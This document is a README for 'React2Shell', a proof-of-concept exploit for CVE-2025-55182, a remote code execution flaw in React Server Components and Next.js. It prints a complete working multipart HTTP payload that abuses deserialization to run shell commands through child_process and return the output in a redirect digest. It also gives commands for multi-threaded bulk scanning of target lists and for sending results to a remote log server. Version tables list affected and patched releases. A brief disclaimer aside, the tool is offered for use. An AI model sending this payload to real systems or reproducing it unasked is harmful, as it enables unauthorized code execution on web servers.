Share
## https://sploitus.com/exploit?id=7871B610-A9E2-598C-BBEF-C3559F97F7D0
# ๐ React2Shell Exploit โ CVE-2025-55182
```
โโโโโโโ โโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโ โโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโ
โโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ
โโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ
โโโ โโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโโโโโโ โโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
### ๐ฅ React Server Components Remote Code Execution
### CVE-2025-55182
**Written by INDRA**
---
# โ ๏ธ Disclaimer
This project is provided **for educational purposes, security research, and authorized penetration testing only.**
The author assumes **no responsibility** for any misuse or damage caused by this software.
Only use this exploit against systems that you own or have explicit permission to test.
---
# ๐ Description
React2Shell is a proof-of-concept exploit for **CVE-2025-55182** affecting vulnerable **React Server Components (RSC)** implementations in **Next.js**.
The exploit sends a crafted multipart request that abuses the vulnerable deserialization flow and extracts command output through the application's redirect digest response.
When successful, the exploit displays the executed command output directly in the terminal.
---
# โจ Features
- ๐ Single Target Mode
- ๐ Bulk Scan Mode
- ๐ Automatic HTTP & HTTPS Detection
- โก Multi-threaded Execution
- ๐ Optional Local Logging
- ๐ Optional Remote Log Server
- ๐ฏ Clean Output
- ๐ก SSL Verification Disabled (for testing environments)
- ๐ Duplicate Target Removal
---
# ๐ฆ Requirements
Python 3.8+
Install dependencies:
```bash
pip install requests urllib3
```
---
# ๐ Project Structure
```
.
โโโ exploit.py
โโโ README.md
```
---
# ๐ฅ Vulnerable Versions
## React
| Version | Status |
|---------|--------|
| 19.0 | โ Vulnerable |
| 19.1.0 | โ Vulnerable |
| 19.1.1 | โ Vulnerable |
| 19.2.0 | โ Vulnerable |
| 19.0.1 | โ
Patched |
| 19.1.2 | โ
Patched |
| 19.2.1 | โ
Patched |
---
## Next.js
### Vulnerable
- 14.3.0-canary.77 and later
- 15.x
- 16.x
### Patched
- 15.0.5
- 15.1.9
- 15.2.6
- 16.0.7
---
# ๐จ HTTP Request Used
```http
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```
---
# ๐ Usage
## Show Help
```bash
python exploit.py -h
```
---
## Scan One Target
```bash
python exploit.py -u https://target.com
```
---
## Scan Multiple Targets
targets.txt
```text
target1.com
target2.com
target3.com
```
Run
```bash
python exploit.py -f targets.txt
```
---
## Save Results
```bash
python exploit.py -u https://target.com -o results.txt
```
---
## Send Results To Remote Log Server
```bash
python exploit.py -u https://target.com -l https://your-log-server.com
```
---
## Everything Together
```bash
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
```
---
# ๐ Command Line Options
| Option | Description |
|---------|-------------|
| `-u` | Target URL |
| `-f` | File containing target domains |
| `-o` | Save vulnerable targets locally |
| `-l` | Send results to remote log server |
| `-h` | Show help |
---
# ๐ฅ Example Output
```text
๐ Loaded 42 targets (HTTP + HTTPS)
๐ฅ [VULNERABLE] https://target.com/
๐ Command Output โ
uid=1000(node) gid=1000(node) groups=1000(node)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
---
# โ๏ธ How It Works
1. Reads target(s)
2. Automatically generates HTTP and HTTPS URLs
3. Sends crafted multipart request
4. Parses redirect digest
5. Extracts command output
6. Prints successful exploitation
7. Optionally stores results locally or remotely
---
# ๐ Notes
- Automatically tests both HTTP and HTTPS when no scheme is provided.
- Duplicate targets are removed automatically.
- Uses 30 concurrent threads.
- Ignores invalid SSL certificates.
- Timeout is set to 10 seconds.
---
# โค๏ธ Credits
- Exploit Development: **INDRA**
- CVE: **CVE-2025-55182**
---
# โ๏ธ Legal Notice
Unauthorized use of this software against systems without permission may violate local, national, or international laws.
The author is not responsible for any misuse.
---
### โญ If this project helped your research, consider giving it a star.
**Happy Hunting ๐ท๏ธ**